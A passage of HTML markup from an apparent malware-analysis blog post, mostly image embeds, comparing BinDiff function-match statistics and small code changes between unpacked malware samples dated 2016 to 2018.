https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpMI1Qa10zJ1yQi_7f8xIYOHGx6Y5TuNiPGG3ppt4Nmv1Qlurpg0z_cU8sMKZWqnDsaz1rWH1JQFnZR5NToDm9JQP0SH6E6h7MZGD2wmTy_hdhbDGckB1ABV3HEF3bA7xDNWjGQR138Rw/s400/2016_03_03____2016_05_05.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>3.3.2.&nbsp;2016-05-05 -&gt; 2018-06-18&nbsp;Statistics: 591 matching functions</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png" width="400" height="203" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:203,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNJX4v3Jb5SqnoZ5g4i6vkcJdB1A8pRg1EhNElkSt_W97lrpPSl7KBfdkG8TcZc746K1C0wCNf_H6oYTG_u_YSfrNy1GB7bZph-M9ZvuB_U3ZwtfGua0G5gi9NtayNyWDkdeMJ80jtv9k/s400/2016_05_05____2018_06_18.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>3.3.3.&nbsp;2018-06-18 -&gt; 2018-11-01&nbsp;Statistics: 1743 matching functions</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png" width="400" height="198" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:198,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDxkxVjjV1yIawh5hj-ms5illxQ_RakG90ZyJvQ3_lVzpfos8NFf9QIA98D9R0Ny3xufjkKXE-xLQLCFNvuFS2aRUCx_X7FY9LbHwbhrKjS-Dd87zyv2a8fhx3FUU944sRYo1x9aaI9rA/s400/2018_06_18____2018_11_01.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> I think the most interesting indicator about similarity, at least in this case, is the number of matching functions because the unpacked modules were dumped with Volatility's procdump command, with --memory --unsafe modificators. Probably most of the primary and secondary unmatched functions are due to residual parts of the code of the packer in memory and maybe due to recompilations of the code with newer versions of the runtime.</p><p> If we compare the paired functions, we find that most of the changes between versions are due to ligth modifications, small fixes, etc... as we will see in the following sections.</p><p>3.3.4.&nbsp;2016-03-03 -&gt; 2016-05-05 Differences:</p><p> For example, here is a function from the sample dated 2016-03-03 compared to the same function from the sample dated 2016-05-05, where we can see that small changes were done in this function:&nbsp;</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png" width="400" height="340" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:340,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjos6YYqHketyuUnA1At_4s8EVnFsvPJrn0qUCDh9ZP5pMwah7fiMKlShlBuF_Tz2px7ge1yn3QGYOwlh-lp117LHIZkEhPALKUDTh8nYSvkhcIjRD9bYIwlRXOTkFFt1f9pIGOOanuPrM/s400/bindiff1_2016_03_03____2016_05_05.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p> Another function. In this case a larger part of code was removed from the function in the newer version:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png" width="443" height="640" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:443,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgntXK5r4nKPL_wX6ixjVWSSTihjjy2LkdB4Xj_E5VxaBwnL4-0wgtEbO_OXDGs27tQKAhjcH8vQb9hHJlvFbVCU7sqa3VhDdt_JrIWShM9QV-0-y2pVZr_ayWCauBih1xq4qMLqjZgjoE/s640/bindiff3_2016_03_03____2016_05_05.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p> Btw, in the case of 2016-03-03 -&gt; 2016-05-05, most of the matching functions are ubicated in totally different addresses:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png" width="400" height="270" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:270,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_bfWv66zwrmVk6l_AyB7PNQL3v-wH1NNQlAaazId634SIrNOvoh30MffmQMZdXW9JhJzfPlTr_94DTKpxqWg0kFMCt-KM12jISBrPCk6HZocWINv8F6ASOfx8tuz3tPeDSc2BNxIUGfk/s400/bindiff2_2016_03_03____2016_05_05.png 1272w, 